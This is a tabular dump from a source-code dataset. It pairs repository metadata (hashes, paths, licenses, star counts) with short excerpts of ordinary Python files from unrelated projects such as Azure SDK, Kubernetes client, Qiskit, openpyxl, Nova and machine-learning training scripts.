hexsha
stringlengths
40
40
size
int64
3
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
972
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
972
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
972
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
3
1.03M
avg_line_length
float64
1.13
941k
max_line_length
int64
2
941k
alphanum_fraction
float64
0
1
79e4261b270b2f4b4da8adf6d55060619b3bf568
5,664
py
Python
tools/generate_conda_file.py
awesome-archive/nlp-2
79bc954601642679cf19e3750a1ee0b0f1b66b62
[ "MIT" ]
2
2020-01-06T05:44:03.000Z
2020-06-15T18:10:09.000Z
tools/generate_conda_file.py
CharlotteSean/nlp-1
79bc954601642679cf19e3750a1ee0b0f1b66b62
[ "MIT" ]
null
null
null
tools/generate_conda_file.py
CharlotteSean/nlp-1
79bc954601642679cf19e3750a1ee0b0f1b66b62
[ "MIT" ]
null
null
null
#!/usr/bin/python # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. # This script creates yaml files to build conda environments # For generating a conda file for running only python code: # $ python generate_conda_file.py # # For generating a conda file for running python ...
31.466667
94
0.634887
ec34c61315c6598602f1ffdc06f206297bf32f3e
6,722
py
Python
sdk/sql/azure-mgmt-sql/azure/mgmt/sql/operations/_transparent_data_encryption_activities_operations.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
3
2020-06-23T02:25:27.000Z
2021-09-07T18:48:11.000Z
sdk/sql/azure-mgmt-sql/azure/mgmt/sql/operations/_transparent_data_encryption_activities_operations.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
510
2019-07-17T16:11:19.000Z
2021-08-02T08:38:32.000Z
sdk/sql/azure-mgmt-sql/azure/mgmt/sql/operations/_transparent_data_encryption_activities_operations.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
5
2019-09-04T12:51:37.000Z
2020-09-16T07:28:40.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
50.541353
275
0.677328
35bd7fa805e8dffba1a9697f611b74ef6e403598
855
py
Python
trac/Lib/site-packages/docutils-0.9.1-py2.7.egg/EGG-INFO/scripts/rst2latex.py
thinkbase/PortableTrac
9ea0210f6b88f135ef73f370b48127af0495b2d7
[ "BSD-3-Clause" ]
2
2015-08-06T04:19:21.000Z
2020-04-29T23:52:10.000Z
trac/Lib/site-packages/docutils-0.9.1-py2.7.egg/EGG-INFO/scripts/rst2latex.py
thinkbase/PortableTrac
9ea0210f6b88f135ef73f370b48127af0495b2d7
[ "BSD-3-Clause" ]
null
null
null
trac/Lib/site-packages/docutils-0.9.1-py2.7.egg/EGG-INFO/scripts/rst2latex.py
thinkbase/PortableTrac
9ea0210f6b88f135ef73f370b48127af0495b2d7
[ "BSD-3-Clause" ]
null
null
null
#!E:\PortableTrac\Portable Python 2.7.3.1\App\python.exe # $Id: rst2latex.py 5905 2009-04-16 12:04:49Z milde $ # Author: David Goodger <goodger@python.org> # Copyright: This module has been placed in the public domain. """ A minimal front end to the Docutils Publisher, producing LaTeX. """ try: import...
31.666667
77
0.653801
d915a4cb5b66660b42ea11c330e40d68f99bd71d
10,406
py
Python
raiden_contracts/tests/test_channel_deposit.py
marcosmartinez7/lumino-contracts
700d6cb6b4c90d0173b3d206238fd31a02dcb9bd
[ "MIT" ]
3
2019-06-12T14:50:12.000Z
2020-12-25T07:25:23.000Z
raiden_contracts/tests/test_channel_deposit.py
marcosmartinez7/lumino-contracts
700d6cb6b4c90d0173b3d206238fd31a02dcb9bd
[ "MIT" ]
2
2019-12-08T21:06:56.000Z
2021-01-21T02:44:58.000Z
raiden_contracts/tests/test_channel_deposit.py
marcosmartinez7/lumino-contracts
700d6cb6b4c90d0173b3d206238fd31a02dcb9bd
[ "MIT" ]
5
2019-06-12T14:02:07.000Z
2020-12-10T11:21:37.000Z
import pytest from eth_tester.exceptions import TransactionFailed from web3.exceptions import ValidationError from raiden_contracts.constants import TEST_SETTLE_TIMEOUT_MIN, ChannelEvent from raiden_contracts.tests.fixtures.channel import call_settle from raiden_contracts.tests.utils import ( EMPTY_ADDITIONAL_HASH...
40.333333
99
0.729483
be3f9dcbafff128209385ef43a17145e5918b3d4
780
py
Python
tastypie_swagger/urls.py
pierrealixt/django-tastypie-swagger
9461803253cd2653f402ec8233606a4cc8c1113f
[ "Apache-2.0" ]
null
null
null
tastypie_swagger/urls.py
pierrealixt/django-tastypie-swagger
9461803253cd2653f402ec8233606a4cc8c1113f
[ "Apache-2.0" ]
null
null
null
tastypie_swagger/urls.py
pierrealixt/django-tastypie-swagger
9461803253cd2653f402ec8233606a4cc8c1113f
[ "Apache-2.0" ]
2
2017-10-05T22:50:35.000Z
2020-07-15T13:07:20.000Z
from .views import SwaggerView, ResourcesView, SchemaView try: from django.conf.urls import include, url urlpatterns = [ url(r'^$', SwaggerView.as_view(), name='index'), url(r'^resources/$', ResourcesView.as_view(), name='resources'), url(r'^schema/(?P<resource>\S+)$', SchemaView.as_vie...
37.142857
72
0.621795
a1f7f642e0f102e6d7f2e97e8a5a33cb0e8eba7f
777
py
Python
tests/test3.py
akaeme/BlackJackBot
04970107202a24059f8da933233fba7df9f3a0ef
[ "MIT" ]
null
null
null
tests/test3.py
akaeme/BlackJackBot
04970107202a24059f8da933233fba7df9f3a0ef
[ "MIT" ]
null
null
null
tests/test3.py
akaeme/BlackJackBot
04970107202a24059f8da933233fba7df9f3a0ef
[ "MIT" ]
null
null
null
#encoding: utf8 import sys sys.path.insert(0,"..") from game import Game from player import Player from card import Card from test_shoe import TestShoe class TestPlayer(Player): def __init__(self, name="TestPlayer", money=0, default_bet=1): super(TestPlayer, self).__init__(name, money) self.defaul...
24.28125
98
0.638353
8396e9db010540e847fd1463a4af9684f0f45fc8
12,478
py
Python
train.py
MckinstryJ/FastSpeech2_LJSpeech
bcc45d2804d3859a51de979c24d208cf0142c74e
[ "MIT" ]
5
2021-08-28T17:07:10.000Z
2022-02-09T15:53:53.000Z
train.py
MckinstryJ/FastSpeech2_LJSpeech
bcc45d2804d3859a51de979c24d208cf0142c74e
[ "MIT" ]
null
null
null
train.py
MckinstryJ/FastSpeech2_LJSpeech
bcc45d2804d3859a51de979c24d208cf0142c74e
[ "MIT" ]
1
2022-02-10T02:01:31.000Z
2022-02-10T02:01:31.000Z
import torch import torch.nn as nn from torch.utils.data import DataLoader from torch.utils.tensorboard import SummaryWriter import numpy as np import argparse import os import time from fastspeech2 import FastSpeech2 from loss import FastSpeech2Loss from dataset import Dataset from optimizer import Sche...
51.349794
166
0.563552
ff61aae3f4c0fd99f2bc79b8f89f7abc6e439d72
52,588
py
Python
rstbx/apps/slip_helpers.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
155
2016-11-23T12:52:16.000Z
2022-03-31T15:35:44.000Z
rstbx/apps/slip_helpers.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
590
2016-12-10T11:31:18.000Z
2022-03-30T23:10:09.000Z
rstbx/apps/slip_helpers.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
115
2016-11-15T08:17:28.000Z
2022-02-09T15:30:14.000Z
from __future__ import absolute_import, division, print_function from six.moves import range import math from libtbx.test_utils import approx_equal from scitbx.array_family import flex from scitbx import lbfgs class minimizer(object): def __init__(self,data,stuff,frame,max_iterations=50): self.n = len(data) ...
45.888307
259
0.681924
676802ef0c43452a3a2b929df283691fc6b7bddb
133
py
Python
ejercicios/Ejercicios_1/4.py
GonzalezGise/CaC-Python-Grupo-10-2167
e6e822ba17f9d2110ff41c2520f3b06a764ac0ed
[ "MIT" ]
null
null
null
ejercicios/Ejercicios_1/4.py
GonzalezGise/CaC-Python-Grupo-10-2167
e6e822ba17f9d2110ff41c2520f3b06a764ac0ed
[ "MIT" ]
null
null
null
ejercicios/Ejercicios_1/4.py
GonzalezGise/CaC-Python-Grupo-10-2167
e6e822ba17f9d2110ff41c2520f3b06a764ac0ed
[ "MIT" ]
1
2021-11-19T23:56:45.000Z
2021-11-19T23:56:45.000Z
test = "pepito flores" def Capitalizador(input): output = input.title() print(output) return output Capitalizador(test)
16.625
26
0.699248
6bc93b108d25604454d798e0ab22dd8550577223
6,241
py
Python
openpyxl/worksheet/tests/test_table.py
zhangyu836/openpyxl
c2735a2a0fd81cf78082008bd4bee0fc84a3b130
[ "MIT" ]
12
2019-08-07T16:48:21.000Z
2021-12-13T02:47:22.000Z
openpyxl/worksheet/tests/test_table.py
zhangyu836/openpyxl
c2735a2a0fd81cf78082008bd4bee0fc84a3b130
[ "MIT" ]
19
2019-12-29T05:07:36.000Z
2021-04-22T18:09:49.000Z
openpyxl/worksheet/tests/test_table.py
zhangyu836/openpyxl
c2735a2a0fd81cf78082008bd4bee0fc84a3b130
[ "MIT" ]
1
2020-05-26T20:33:10.000Z
2020-05-26T20:33:10.000Z
from __future__ import absolute_import # Copyright (c) 2010-2019 openpyxl import pytest from io import BytesIO from zipfile import ZipFile from openpyxl.xml.functions import fromstring, tostring from openpyxl.tests.helper import compare_xml @pytest.fixture def TableColumn(): from ..table import TableColumn ...
28.368182
108
0.614164
df1e70add294121dc8b8c60f39917c2d84a65a90
1,298
py
Python
examples/list_clusters.py
h-medjahed/pyvcloud
696243a7f418987936f1ddce94dfeceaa9fd04d2
[ "Apache-2.0" ]
null
null
null
examples/list_clusters.py
h-medjahed/pyvcloud
696243a7f418987936f1ddce94dfeceaa9fd04d2
[ "Apache-2.0" ]
3
2017-08-24T07:32:12.000Z
2018-12-03T16:46:09.000Z
examples/list_clusters.py
useitcloud/pyvcloud
d3ed57b43d36d942edced2ee02cf6367d6826bb8
[ "Apache-2.0" ]
1
2018-07-10T13:56:58.000Z
2018-07-10T13:56:58.000Z
#! /usr/bin/env python import json import time, datetime, os, sys from pyvcloud.vcloudair import VCA from pyvcloud.cluster import Cluster from pyvcloud.helper.CommonUtils import convertPythonObjToStr def print_vca(vca): if vca: print 'vca token: ', vca.token if vca.vcloud_session: ...
30.904762
107
0.66641
878c524e0eb4153cdd7604e03bebde9e5c465d9d
936
py
Python
examples/convert/bruker2pipe_2d/bruker2pipe_2d.py
genematx/nmrglue
8a24cf6cbd18451e552fc0673b84c42d1dcb69a2
[ "BSD-3-Clause" ]
150
2015-01-16T12:24:13.000Z
2022-03-03T18:01:18.000Z
examples/convert/bruker2pipe_2d/bruker2pipe_2d.py
genematx/nmrglue
8a24cf6cbd18451e552fc0673b84c42d1dcb69a2
[ "BSD-3-Clause" ]
129
2015-01-13T04:58:56.000Z
2022-03-02T13:39:16.000Z
examples/convert/bruker2pipe_2d/bruker2pipe_2d.py
genematx/nmrglue
8a24cf6cbd18451e552fc0673b84c42d1dcb69a2
[ "BSD-3-Clause" ]
88
2015-02-16T20:04:12.000Z
2022-03-10T06:50:30.000Z
#! /usr/bin/env python import nmrglue as ng # read in the Bruker data dic,data = ng.bruker.read("bruker_2d") # Set the spectral parameters u = ng.bruker.guess_udic(dic, data) # Direct Dimsion #Indirect Dimension u[1]['size'] = 768 ; u[0]['size'] = 600 u[1]['complex'] = T...
36
75
0.528846
fe3108cb649bfed96f933daa594cde6f3cf2c282
41,007
py
Python
ceilometer/tests/unit/meter/test_notifications.py
Missxiaoguo/stx-ceilometer
a226b47216e76ec209818b900253d3c1f1ffc3aa
[ "Apache-2.0" ]
null
null
null
ceilometer/tests/unit/meter/test_notifications.py
Missxiaoguo/stx-ceilometer
a226b47216e76ec209818b900253d3c1f1ffc3aa
[ "Apache-2.0" ]
1
2018-08-16T15:18:09.000Z
2018-08-16T20:51:45.000Z
ceilometer/tests/unit/meter/test_notifications.py
Missxiaoguo/stx-ceilometer
a226b47216e76ec209818b900253d3c1f1ffc3aa
[ "Apache-2.0" ]
3
2018-08-15T14:35:23.000Z
2019-01-11T15:57:02.000Z
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under...
46.179054
79
0.503109
a39d9b4c1bcb7b3c0fa0fa584c2c3212087b0654
33,442
py
Python
kubernetes/client/models/v1_ephemeral_container.py
philipp-sontag-by/python
51c481692ab0d9c71b9dd96342bfa93b721b029d
[ "Apache-2.0" ]
1
2022-02-22T23:10:55.000Z
2022-02-22T23:10:55.000Z
kubernetes/client/models/v1_ephemeral_container.py
philipp-sontag-by/python
51c481692ab0d9c71b9dd96342bfa93b721b029d
[ "Apache-2.0" ]
6
2021-09-13T19:03:02.000Z
2022-03-16T18:56:42.000Z
kubernetes/client/models/v1_ephemeral_container.py
philipp-sontag-by/python
51c481692ab0d9c71b9dd96342bfa93b721b029d
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: release-1.23 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import si...
45.191892
860
0.68112
8f77ebfc1eb1f57c8972ea052d11de4c85a4e110
397
py
Python
examples/tutorial-component/components/tick/component.py
frlan/batou
895960fb1a7fc14c1a2bfbbca13d96d6ec8b0f53
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
examples/tutorial-component/components/tick/component.py
frlan/batou
895960fb1a7fc14c1a2bfbbca13d96d6ec8b0f53
[ "BSD-2-Clause-FreeBSD" ]
5
2021-03-20T05:08:49.000Z
2021-06-02T03:20:17.000Z
examples/tutorial-component/components/tick/component.py
ZeitOnline/batou
cade3526e7979a53d47bb020c5191702972ff2ff
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
from batou.component import Component from batou.lib.file import File class Tick(Component): def configure(self): tick = File('tick.sh', source='tick.sh', mode=0o755) self += tick self.provide('programs', dict(name='tick', ...
24.8125
41
0.476071
4ca67006d1a58a39ac3a9da27d569c0cfeb8face
2,535
py
Python
TensorArtist/tartist/core/utils/concurrent_monitor.py
cosmic119/DiscoGAN
5a86f36f45a3dafdc028fc2100eb477e54dc83cd
[ "MIT" ]
null
null
null
TensorArtist/tartist/core/utils/concurrent_monitor.py
cosmic119/DiscoGAN
5a86f36f45a3dafdc028fc2100eb477e54dc83cd
[ "MIT" ]
null
null
null
TensorArtist/tartist/core/utils/concurrent_monitor.py
cosmic119/DiscoGAN
5a86f36f45a3dafdc028fc2100eb477e54dc83cd
[ "MIT" ]
null
null
null
# -*- coding:utf8 -*- # File : concurrent_monitor.py # Author : Jiayuan Mao # Email : maojiayuan@gmail.com # Date : 6/21/17 # # This file is part of TensorArtist. import itertools import threading import collections import time __all__ = ['TSCounter', 'TSCounterMonitor'] class TSCounter(object): def __ini...
30.178571
96
0.601972
c8ad1b9ec2dc304d68592908619834cc252a3c15
3,687
py
Python
h/cli/commands/user.py
kevinjalbert/h
0f260bf59847f27eff720eeb3c3b2468571412b2
[ "BSD-2-Clause" ]
1
2020-06-19T01:49:39.000Z
2020-06-19T01:49:39.000Z
h/cli/commands/user.py
kevinjalbert/h
0f260bf59847f27eff720eeb3c3b2468571412b2
[ "BSD-2-Clause" ]
5
2020-03-24T18:14:50.000Z
2022-03-02T06:56:50.000Z
h/cli/commands/user.py
liquidinvestigations/hypothesis-h
2eebc0b20823fc5bc42a8e8c33551a6d448ad6ba
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- import click import sqlalchemy from h import models @click.group() def user(): """Manage users.""" @user.command() @click.option("--username", prompt=True) @click.option("--email", prompt=True) @click.option("--authority") @click.password_option() @click.pass_context def add(ctx, usern...
25.964789
84
0.64741
594ff91750ef735aa69fdc0c53c9ce879eeec78d
4,114
py
Python
benchmarks/nonlinear_software/f3/factorial.py
EnricoMagnago/F3
c863215c318d7d5f258eb9be38c6962cf6863b52
[ "MIT" ]
3
2021-04-23T23:29:26.000Z
2022-03-23T10:00:30.000Z
benchmarks/nonlinear_software/f3/factorial.py
EnricoMagnago/F3
c863215c318d7d5f258eb9be38c6962cf6863b52
[ "MIT" ]
null
null
null
benchmarks/nonlinear_software/f3/factorial.py
EnricoMagnago/F3
c863215c318d7d5f258eb9be38c6962cf6863b52
[ "MIT" ]
1
2021-11-17T22:02:56.000Z
2021-11-17T22:02:56.000Z
import pysmt.typing as types from pysmt.environment import Environment as PysmtEnv from pysmt.fnode import FNode from utils import symb_to_next def transition_system(env: PysmtEnv) -> (frozenset, FNode, FNode, FNode): assert isinstance(env, PysmtEnv) mgr = env.formula_manager fact = mgr.Symbol("fact", typ...
36.087719
78
0.478123
498bbcf45328df67e5c452a7a072e5cc8ce11b94
1,211
py
Python
app/core/models.py
RogerITData/recipe-app-api
c96cc46d7bbf28ebd525a9ba94507d02abfe0251
[ "MIT" ]
null
null
null
app/core/models.py
RogerITData/recipe-app-api
c96cc46d7bbf28ebd525a9ba94507d02abfe0251
[ "MIT" ]
null
null
null
app/core/models.py
RogerITData/recipe-app-api
c96cc46d7bbf28ebd525a9ba94507d02abfe0251
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.auth.models import AbstractBaseUser, BaseUserManager,\ PermissionsMixin class UserManager(BaseUserManager): def create_user(self, email, password=None, **extra_fields): """Creates and saves a new user""" if n...
31.868421
76
0.668043
1f1f58312704dd4b88096f01aa0cb630f43f0c62
1,238
py
Python
py/rows.py
timm/misc
2326989a8b8599283f8f16a6b8595d916850e392
[ "BSD-2-Clause" ]
null
null
null
py/rows.py
timm/misc
2326989a8b8599283f8f16a6b8595d916850e392
[ "BSD-2-Clause" ]
null
null
null
py/rows.py
timm/misc
2326989a8b8599283f8f16a6b8595d916850e392
[ "BSD-2-Clause" ]
1
2019-04-17T02:21:40.000Z
2019-04-17T02:21:40.000Z
import re # init a thing # decide type in things # ocer ttype in stings # return a row with ids and x and y # i need x,y class eg(object): id=0 def __init__(i, egs, xs=[], ys=[]): eg.id = i.id = eg.id + 1 i.xs, i.ys, i.egs = xs, ys, egs class egs(object): ignore = "?" less = "<" more = ">"...
24.76
58
0.526656
3fd4e1f725569e04e20742c77a12f629b59549a8
4,792
py
Python
aiida/cmdline/commands/cmd_database.py
azadoks/aiida-core
b806b7fef8fc79090deccfe2019b77cb922e0581
[ "MIT", "BSD-3-Clause" ]
180
2019-07-12T07:45:26.000Z
2022-03-22T13:16:57.000Z
aiida/cmdline/commands/cmd_database.py
azadoks/aiida-core
b806b7fef8fc79090deccfe2019b77cb922e0581
[ "MIT", "BSD-3-Clause" ]
2,325
2019-07-04T13:41:44.000Z
2022-03-31T12:17:10.000Z
aiida/cmdline/commands/cmd_database.py
azadoks/aiida-core
b806b7fef8fc79090deccfe2019b77cb922e0581
[ "MIT", "BSD-3-Clause" ]
88
2019-07-06T01:42:39.000Z
2022-03-18T14:20:09.000Z
# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # ...
36.030075
118
0.6851
e2e0830fb7849389dc6ad79c2aed0156c70388e4
354
py
Python
programmers/str_to_int.py
sssunda/solve_algorithms
cb630d3b1d7f4bae0115ecb45d9a9b4f2e1eff27
[ "MIT" ]
null
null
null
programmers/str_to_int.py
sssunda/solve_algorithms
cb630d3b1d7f4bae0115ecb45d9a9b4f2e1eff27
[ "MIT" ]
null
null
null
programmers/str_to_int.py
sssunda/solve_algorithms
cb630d3b1d7f4bae0115ecb45d9a9b4f2e1eff27
[ "MIT" ]
null
null
null
# def solution(s): # answer = int(s) # return answer # int()안쓰고 만들어보기 def solution(s): answer = 0 for idx, num in enumerate(s[::-1]): if num == '-': answer *= -1 else: answer += int(num) * (10 ** idx) return answer if __name__ == '__main__': s = '...
16.857143
44
0.474576
a2f476557b023f7c27e396738445f160b5b09203
5,972
py
Python
watertap/examples/flowsheets/full_treatment_train/analysis/flowsheet_NF.py
srikanthallu/watertap
6ad5552b91163917fb19342754b9b57b3d9cbd85
[ "BSD-3-Clause-LBNL" ]
4
2021-11-06T01:13:22.000Z
2022-02-08T21:16:38.000Z
watertap/examples/flowsheets/full_treatment_train/analysis/flowsheet_NF.py
srikanthallu/watertap
6ad5552b91163917fb19342754b9b57b3d9cbd85
[ "BSD-3-Clause-LBNL" ]
233
2021-10-13T12:53:44.000Z
2022-03-31T21:59:50.000Z
watertap/examples/flowsheets/full_treatment_train/analysis/flowsheet_NF.py
srikanthallu/watertap
6ad5552b91163917fb19342754b9b57b3d9cbd85
[ "BSD-3-Clause-LBNL" ]
12
2021-11-01T19:11:03.000Z
2022-03-08T22:20:58.000Z
############################################################################### # WaterTAP Copyright (c) 2021, The Regents of the University of California, # through Lawrence Berkeley National Laboratory, Oak Ridge National # Laboratory, National Renewable Energy Laboratory, and National Energy # Technology Laboratory ...
30.625641
84
0.6785
587eaab89ea47cbe63547e92a1ad83f750c531a7
28,562
py
Python
activitysim/core/skim_dictionary.py
albabnoor/activitysim
a57efa1418320cb88d72ad5f413aaa45131183a4
[ "BSD-3-Clause" ]
null
null
null
activitysim/core/skim_dictionary.py
albabnoor/activitysim
a57efa1418320cb88d72ad5f413aaa45131183a4
[ "BSD-3-Clause" ]
null
null
null
activitysim/core/skim_dictionary.py
albabnoor/activitysim
a57efa1418320cb88d72ad5f413aaa45131183a4
[ "BSD-3-Clause" ]
null
null
null
# ActivitySim # See full license in LICENSE.txt. from builtins import range from builtins import object import logging import numpy as np import pandas as pd from activitysim.core.util import quick_loc_series logger = logging.getLogger(__name__) NOT_IN_SKIM_ZONE_ID = -1 NOT_IN_SKIM_NAN = np.nan ROW_MAJOR_LAYOUT ...
35.174877
118
0.623906
284beb5dad4ed08c4cd4b6eb8643f394f5b2233a
5,728
py
Python
qiskit/tools/visualization/interactive/_iplot_qsphere.py
kifumi/qiskit-terra
203fca6d694a18824a6b12cbabd3dd2c64dd12ae
[ "Apache-2.0" ]
1
2018-11-01T01:35:43.000Z
2018-11-01T01:35:43.000Z
qiskit/tools/visualization/interactive/_iplot_qsphere.py
a-amaral/qiskit-terra
e73beba1e68de2617046a7e1e9eeac375b61de81
[ "Apache-2.0" ]
null
null
null
qiskit/tools/visualization/interactive/_iplot_qsphere.py
a-amaral/qiskit-terra
e73beba1e68de2617046a7e1e9eeac375b61de81
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2018, IBM. # # This source code is licensed under the Apache License, Version 2.0 found in # the LICENSE.txt file in the root directory of this source tree. """ Qsphere visualization """ from functools import reduce from string import Template import sys import time import re impor...
29.525773
87
0.523568
7fd5ae41a45a871cfd0172a5717c98e30df2d4de
1,983
py
Python
docs_src/source/conf.py
introkun/qt-range-slider
7c1500b7bfd6a4433ab474974ed2148f4d570516
[ "MIT" ]
1
2021-09-29T14:33:27.000Z
2021-09-29T14:33:27.000Z
docs_src/source/conf.py
OBITORASU/qt-range-slider
a0e5b4137404acecd771928587a57c1d7a2168d2
[ "MIT" ]
41
2021-01-20T21:14:09.000Z
2022-03-28T05:22:01.000Z
docs_src/source/conf.py
OBITORASU/qt-range-slider
a0e5b4137404acecd771928587a57c1d7a2168d2
[ "MIT" ]
2
2021-01-22T07:19:37.000Z
2021-04-20T16:20:01.000Z
# Configuration file for the Sphinx documentation builder. # # This file only contains a selection of the most common options. For a full # list see the documentation: # https://www.sphinx-doc.org/en/master/usage/configuration.html # -- Path setup -------------------------------------------------------------- # If ex...
34.789474
80
0.66818
c27cbaedf07e56f7500864ba7d8946d55b6b8239
219
py
Python
__init__.py
jqueguiner/haven
7b2a5d46b08f48f1112f8903f1b97c6adadff3f4
[ "Apache-2.0" ]
26
2020-01-09T14:28:28.000Z
2020-08-09T08:03:08.000Z
__init__.py
jqueguiner/haven
7b2a5d46b08f48f1112f8903f1b97c6adadff3f4
[ "Apache-2.0" ]
null
null
null
__init__.py
jqueguiner/haven
7b2a5d46b08f48f1112f8903f1b97c6adadff3f4
[ "Apache-2.0" ]
6
2020-02-11T19:43:50.000Z
2020-05-12T01:59:59.000Z
from .haven import haven_utils from .haven import haven_results from .haven import haven_jupyter from .haven import haven_exps from .haven import haven_chk from .haven import haven_img from .haven import haven_dropbox
24.333333
32
0.835616
c039b51732212190cef5f76d6d9aba6e1962511f
1,833
py
Python
bouser/helpers/msgpack_helpers.py
MarsStirner/bouser
33bf759448fec4340581f1cc44e7b0b23a2c4e7a
[ "0BSD" ]
null
null
null
bouser/helpers/msgpack_helpers.py
MarsStirner/bouser
33bf759448fec4340581f1cc44e7b0b23a2c4e7a
[ "0BSD" ]
null
null
null
bouser/helpers/msgpack_helpers.py
MarsStirner/bouser
33bf759448fec4340581f1cc44e7b0b23a2c4e7a
[ "0BSD" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import msgpack __author__ = 'viruzzz-kun' __created__ = '05.04.2015' class Serializable(object): def __getstate__(self): return self.__dict__ def __setstate__(self, state): self.__dict__ = state def __encode_hook(obj): if isinstance(obj, se...
25.816901
82
0.541735
64070a324a74c4673a96125f39182f87894e3897
250
py
Python
configs/unet/fcn_unet_s5-d16_128x128_40k_stare.py
sandylaker/mmsegmentation
1c96a89472804a1e7d4c4cbe8cd980617345d6c9
[ "Apache-2.0" ]
5
2021-07-10T06:53:14.000Z
2021-12-20T09:52:48.000Z
configs/unet/fcn_unet_s5-d16_128x128_40k_stare.py
JPLAY0/mmsegmentation
b46bbfdeed127b1cab325f707c090014f9333c11
[ "Apache-2.0" ]
2
2021-04-01T01:47:08.000Z
2022-03-18T05:10:53.000Z
configs/unet/fcn_unet_s5-d16_128x128_40k_stare.py
JPLAY0/mmsegmentation
b46bbfdeed127b1cab325f707c090014f9333c11
[ "Apache-2.0" ]
1
2022-02-23T15:54:47.000Z
2022-02-23T15:54:47.000Z
_base_ = [ '../_base_/models/fcn_unet_s5-d16.py', '../_base_/datasets/stare.py', '../_base_/default_runtime.py', '../_base_/schedules/schedule_40k.py' ] test_cfg = dict(crop_size=(128, 128), stride=(85, 85)) evaluation = dict(metric='mDice')
35.714286
73
0.676
ef746c4e6487de08be9034efadb6509247ef8f42
973
py
Python
old/find.py
ericsson-intern/mavenbox
9c8c0658fdefeff63444e817c6ca98b3c7c34fff
[ "Apache-2.0" ]
null
null
null
old/find.py
ericsson-intern/mavenbox
9c8c0658fdefeff63444e817c6ca98b3c7c34fff
[ "Apache-2.0" ]
null
null
null
old/find.py
ericsson-intern/mavenbox
9c8c0658fdefeff63444e817c6ca98b3c7c34fff
[ "Apache-2.0" ]
null
null
null
import shutil as fs import os def search_files(directory='.', extension='', callback=()): extension = extension.lower() for dirpath, dirnames, files in os.walk(directory): for name in files: if extension and name.lower().endswith(extension): callback(dirpath, name) ...
24.325
70
0.614594
a8a2f5f6b1bdbb09ec4f3d3cc6d66af901cec240
5,593
py
Python
packages/Python/lldbsuite/test/lang/cpp/enum_types/TestCPP11EnumTypes.py
nathawes/swift-lldb
3cbf7470e0f9191ec1fc1c69ce8048c1dc64ec77
[ "Apache-2.0" ]
2
2019-05-24T14:10:24.000Z
2019-05-24T14:27:38.000Z
packages/Python/lldbsuite/test/lang/cpp/enum_types/TestCPP11EnumTypes.py
enterstudio/swift-lldb
af85d636d230da2460f91938b1ff734b0fb64b42
[ "Apache-2.0" ]
null
null
null
packages/Python/lldbsuite/test/lang/cpp/enum_types/TestCPP11EnumTypes.py
enterstudio/swift-lldb
af85d636d230da2460f91938b1ff734b0fb64b42
[ "Apache-2.0" ]
null
null
null
"""Look up enum type information and check for correct display.""" from __future__ import print_function import os import time import lldb from lldbsuite.test.decorators import * from lldbsuite.test.lldbtest import * import lldbsuite.test.lldbutil as lldbutil class CPP11EnumTypesTestCase(TestBase): mydir = Te...
37.790541
82
0.57411
02781a7cd5f986c0787fc3b615769548146b294e
6,583
py
Python
nova/tests/unit/objects/test_quotas.py
gabriel-samfira/nova
5ef07cc04dbf0216452ae358e57d9ddac51f1803
[ "Apache-2.0" ]
7
2015-09-22T11:27:16.000Z
2015-11-02T12:33:46.000Z
nova/tests/unit/objects/test_quotas.py
gabriel-samfira/nova
5ef07cc04dbf0216452ae358e57d9ddac51f1803
[ "Apache-2.0" ]
2
2015-09-07T22:14:46.000Z
2020-08-12T08:51:56.000Z
nova/tests/unit/objects/test_quotas.py
gabriel-samfira/nova
5ef07cc04dbf0216452ae358e57d9ddac51f1803
[ "Apache-2.0" ]
4
2017-06-23T07:37:43.000Z
2020-12-28T09:57:22.000Z
